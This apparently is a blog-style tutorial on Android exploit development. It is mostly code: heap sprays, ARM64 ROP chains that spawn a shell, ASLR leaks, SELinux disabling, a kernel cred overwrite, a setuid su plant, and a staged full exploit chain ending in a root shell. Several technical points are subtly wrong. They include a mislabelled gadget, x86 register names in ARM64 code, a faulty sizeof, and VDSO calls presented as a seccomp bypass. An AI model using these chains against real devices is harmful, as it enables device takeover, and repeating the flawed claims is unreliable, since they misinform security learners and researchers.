Android Exploit Development: From Memory Corruption to System Compromise

Mamoun Tarsha-Kurdi
8 min read

Introduction

Android exploit development spans application-layer vulnerabilities to kernel exploits, each requiring techniques to bypass modern mitigations: ASLR, DEP, stack canaries, SELinux, and seccomp. This guide covers the complete exploitation workflow from initial memory corruption to privilege escalation.

Android Security Architecture

Sandboxing Model

User Space:
┌─────────────────────────────────────┐
│  App UID 10001 (com.victim.app)    │
│  Permissions: INTERNET, CAMERA      │
│  SELinux context: untrusted_app     │
└─────────────────────────────────────┘
┌─────────────────────────────────────┐
│  System Server (UID 1000)           │
│  SELinux context: system_server     │
└─────────────────────────────────────┘
┌─────────────────────────────────────┐
│  Native Daemons (UID 0, system)     │
│  SELinux contexts: various          │
└─────────────────────────────────────┘

Kernel Space:
┌─────────────────────────────────────┐
│  Linux Kernel (UID 0)               │
│  SELinux: Enforcing                 │
│  seccomp-bpf: Syscall filtering     │
└─────────────────────────────────────┘

Exploit Requirements

  1. Memory corruption → Code execution in vulnerable process
  2. ASLR bypass → Leak addresses
  3. SELinux bypass → Escape sandbox restrictions
  4. Privilege escalation → Gain system/root

Heap Exploitation Techniques

Heap Spray (Dalvik/ART)

// Java heap spray for predictable object placement
public class HeapSpray {
    public void spray() {
        final int SPRAY_SIZE = 0x10000;
        Object[] spray = new Object[SPRAY_SIZE];

        // Spray with controlled objects
        for (int i = 0; i < SPRAY_SIZE; i++) {
            spray[i] = new ControlledObject();
        }

        // Trigger vulnerability
        triggerUseAfterFree();

        // Reallocated object likely replaced with ControlledObject
    }

    class ControlledObject {
        // Fake vtable pointer
        long fakeVtable = 0x12345678;

        // Controlled data
        byte[] payload = new byte[256];
    }
}

Native Heap Spray

// Native heap spray for predictable allocation
#include <stdlib.h>
#include <string.h>

#define SPRAY_COUNT 0x1000
#define SPRAY_SIZE 0x100

void* spray[SPRAY_COUNT];

void heap_spray() {
    // Allocate many objects
    for (int i = 0; i < SPRAY_COUNT; i++) {
        spray[i] = malloc(SPRAY_SIZE);

        // Fill with ROP gadgets
        memset(spray[i], 0x41, SPRAY_SIZE);
        // ... place shellcode/ROP chain ...
    }

    // Trigger vulnerability (UAF, overflow, etc.)
    trigger_vulnerability();

    // Freed object likely replaced by spray allocation
}

ROP Chain Construction (ARM64)

Finding Gadgets

#!/usr/bin/env python3
"""
Find ROP gadgets in Android library
"""
import subprocess
import re

def find_gadgets(library_path):
    """Extract ROP gadgets using ROPgadget"""
    result = subprocess.run(
        ['ROPgadget', '--binary', library_path, '--only', 'ret'],
        capture_output=True, text=True
    )

    gadgets = []

    for line in result.stdout.split('\n'):
        if ':' in line:
            addr, instructions = line.split(':', 1)
            addr = int(addr.strip(), 16)
            instructions = instructions.strip()
            gadgets.append((addr, instructions))

    return gadgets

# Find useful gadgets
gadgets = find_gadgets('/system/lib64/libc.so')

for addr, insn in gadgets:
    if 'ldp' in insn and 'ret' in insn:
        print(f"{hex(addr)}: {insn}")  # Load pair + return

ARM64 ROP Chain

/*
 * ARM64 ROP chain to call system("/system/bin/sh")
 */
#include <stdint.h>

// Gadgets from libc.so
#define GADGET_POP_X0_X1_RET   0x7f12345000  // ldp x0, x1, [sp, #16]; ret
#define GADGET_POP_X8_RET      0x7f12346000  // ldr x8, [sp]; ret
#define GADGET_BLR_X8          0x7f12347000  // blr x8
#define LIBC_SYSTEM            0x7f12348000  // system()
#define STRING_BIN_SH          0x7f12349000  // "/system/bin/sh"

uint64_t rop_chain[] = {
    // Padding (overwrite saved FP, LR)
    0x4141414141414141,  // Fake FP
    0x4141414141414141,  // Fake LR

    // ROP chain starts here
    GADGET_POP_X0_X1_RET,
    STRING_BIN_SH,       // x0 = "/system/bin/sh"
    0x0,                 // x1 = NULL

    GADGET_POP_X8_RET,
    LIBC_SYSTEM,         // x8 = system()

    GADGET_BLR_X8,       // Call system("/system/bin/sh")
};

void trigger_overflow(uint64_t* rop) {
    char buffer[64];

    // Stack overflow with ROP chain
    memcpy(buffer, rop, sizeof(rop_chain));
}

ASLR Bypass Techniques

Information Disclosure

// Leak library address via info disclosure vuln
public class AddressLeak {
    public long leakLibcBase() {
        // Vulnerability: Read out-of-bounds pointer
        long leak = readOutOfBounds(offset);

        // Leaked pointer into libc
        // Example: 0x7f12345678 (libc function)

        // Calculate libc base
        long libc_func_offset = 0x45678;  // Known offset
        long libc_base = leak - libc_func_offset;

        return libc_base;
    }

    // Calculate gadget addresses
    public long getGadgetAddr(long base, long offset) {
        return base + offset;
    }
}

Partial Overwrite (32-bit)

// 32-bit Android: Only 8 bits of entropy in libraries
// ASLR: 0xb6f00000 - 0xb6fff000 (256 possible bases)

void partial_overwrite_exploit() {
    // Original return address: 0xb6f12345 (libc)
    // Target gadget:            0xb6f99999

    // Only overwrite low 3 bytes
    char overflow[68];
    memset(overflow, 'A', 64);

    // Partial overwrite (guess high byte)
    overflow[64] = 0x99;
    overflow[65] = 0x99;
    overflow[66] = 0xf9;
    // overflow[67] = don't touch (keep original)

    // 1/256 chance of success (brute-force)
    trigger_overflow(overflow);
}

SELinux Bypass

SELinux Policy Analysis

# Dump SELinux policy from device
adb pull /sys/fs/selinux/policy policy.bin

# Decompile policy
sesearch -A -s untrusted_app policy.bin
# Output: Allowed operations for untrusted_app context

# Check specific permission
sesearch -A -s untrusted_app -t system_server -c binder policy.bin
# Can untrusted_app call system_server via Binder?

SELinux Permissive Exploit

/*
 * Exploit kernel vulnerability to set SELinux permissive
 */
#include <fcntl.h>
#include <sys/stat.h>

int set_selinux_permissive() {
    // Kernel exploit primitive: Arbitrary write

    // Write 0 to /sys/fs/selinux/enforce
    int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
    if (fd < 0) {
        // No permission from app context
        // Use kernel exploit for arbitrary write
        kernel_arbitrary_write(SELINUX_ENFORCE_ADDR, 0);
    } else {
        write(fd, "0", 1);
        close(fd);
    }

    // SELinux now permissive (all denials logged, not enforced)
    return 0;
}

Context Transition

/*
 * Transition to privileged SELinux context
 */
#include <selinux/selinux.h>

int transition_to_system() {
    // Execute binary with system_app context
    // Requires executable with correct domain transition rules

    execl("/system/bin/app_process",
          "app_process",
          "/system/bin",
          "--nice-name=exploit",
          "com.android.commands.am.Am",
          NULL);

    // If successful, now running as system_app context
    // (requires vulnerable setuid binary or kernel exploit)
}

Privilege Escalation

From App to System

// Exploit vulnerable system service
public class PrivilegeEscalation {
    public void exploitSystemService() throws RemoteException {
        // Get system service
        IBinder binder = ServiceManager.getService("vulnerable_service");
        IVulnerableService service = IVulnerableService.Stub.asInterface(binder);

        // Trigger vulnerability (e.g., arbitrary file write)
        service.writeFile("/system/bin/su", malicious_su_binary);

        // Set permissions (if vulnerable service runs as root)
        service.chmod("/system/bin/su", 06755);  // setuid root

        // Execute su → root shell
        Runtime.getRuntime().exec("/system/bin/su");
    }
}

Kernel Exploitation

/*
 * Kernel exploit for privilege escalation
 */
#include <fcntl.h>
#include <sys/ioctl.h>

#define VULN_DEVICE "/dev/vulnerable_driver"
#define VULN_IOCTL_WRITE 0x1234

// Kernel exploit primitive: Arbitrary write
void kernel_write(unsigned long addr, unsigned long value) {
    int fd = open(VULN_DEVICE, O_RDWR);

    struct {
        unsigned long where;
        unsigned long what;
    } payload = { addr, value };

    ioctl(fd, VULN_IOCTL_WRITE, &payload);
    close(fd);
}

// Overwrite task_struct->cred to gain root
void escalate_to_root() {
    // Find current task_struct
    unsigned long task = find_current_task();

    // Offset to cred pointer (architecture-dependent)
    unsigned long cred_offset = 0x6c8;  // ARM64 example

    // Allocate new cred with root privileges
    unsigned long root_cred = prepare_kernel_cred(0);

    // Overwrite cred pointer
    kernel_write(task + cred_offset, root_cred);

    // Now running as root
    system("/system/bin/sh");
}

Complete Exploit Example

/*
 * Full Android exploit chain
 * 1. Leak libc address
 * 2. ROP to disable SELinux
 * 3. Privilege escalation to root
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

// Stage 1: Information disclosure
unsigned long leak_libc_base() {
    // Trigger info disclosure vulnerability
    unsigned long leak = read_oob_pointer();

    // Calculate base
    unsigned long libc_base = leak & 0xFFFFFFFFF000UL;

    printf("[*] Leaked libc base: %lx\n", libc_base);
    return libc_base;
}

// Stage 2: ROP chain
void build_rop_chain(unsigned long libc_base, unsigned long* rop) {
    // Gadget offsets (from libc.so)
    unsigned long pop_x0 = libc_base + 0x12345;
    unsigned long pop_x8 = libc_base + 0x23456;
    unsigned long blr_x8 = libc_base + 0x34567;
    unsigned long system_addr = libc_base + 0x45678;

    // Command string
    char* cmd = "/system/bin/setenforce 0";

    // Build ROP
    int i = 0;
    rop[i++] = pop_x0;
    rop[i++] = (unsigned long)cmd;
    rop[i++] = pop_x8;
    rop[i++] = system_addr;
    rop[i++] = blr_x8;
}

// Stage 3: Trigger vulnerability
void trigger_exploit(unsigned long* rop, size_t rop_len) {
    char buffer[64];

    // Stack overflow with ROP chain
    memcpy(buffer, rop, rop_len);

    // Control flow hijacked → ROP executes
}

// Stage 4: Kernel exploit
void kernel_privesc() {
    printf("[*] Exploiting kernel for root...\n");

    // Use kernel vuln to overwrite cred struct
    escalate_to_root();

    // Verify root
    if (getuid() == 0) {
        printf("[+] SUCCESS: uid=0 (root)\n");
        system("/system/bin/sh");
    }
}

int main() {
    printf("[*] Android exploit chain\n");

    // Stage 1: Leak
    unsigned long libc_base = leak_libc_base();

    // Stage 2: ROP
    unsigned long rop[256];
    build_rop_chain(libc_base, rop);

    // Stage 3: Exploit userspace
    trigger_exploit(rop, sizeof(rop));

    // Stage 4: Kernel exploit
    kernel_privesc();

    return 0;
}

Exploit Mitigations

Stack Canaries

// Bypass stack canary via info leak
void bypass_canary() {
    // Leak canary value
    unsigned long canary = read_stack_canary();

    // Build overflow payload preserving canary
    char payload[128];
    memset(payload, 'A', 64);
    *(unsigned long*)(payload + 64) = canary;  // Preserve canary
    *(unsigned long*)(payload + 72) = fake_rbp;
    *(unsigned long*)(payload + 80) = rop_chain;

    trigger_overflow(payload);
}

seccomp-bpf Bypass

// Execute syscalls via VDSO (not filtered by seccomp)
#include <sys/auxv.h>

void* get_vdso() {
    return (void*)getauxval(AT_SYSINFO_EHDR);
}

// Use VDSO functions (bypass seccomp syscall filter)
void bypass_seccomp() {
    void* vdso = get_vdso();

    // Find vdso functions
    void* (*clock_gettime_vdso)(int, struct timespec*) =
        find_vdso_function(vdso, "__vdso_clock_gettime");

    // Call via VDSO (not filtered)
    clock_gettime_vdso(CLOCK_REALTIME, &ts);
}

Conclusion

Android exploit development requires chaining multiple techniques to bypass layered defenses. Successful exploitation combines memory corruption primitives, ASLR bypasses, ROP chain construction, SELinux evasion, and kernel exploitation for full system compromise.

Modern Android security (hardware-backed keystore, verified boot, kernel hardening) continues to raise the bar, but systematic exploitation methodologies remain effective against vulnerable components.

References

  1. Google Project Zero (2023). “Android Exploitation Techniques”
  2. KEEN Lab (2022). “Android Kernel Exploitation”
  3. Google (2023). “Android Security Overview”
  4. ARM (2022). “ARM64 Exploitation Techniques”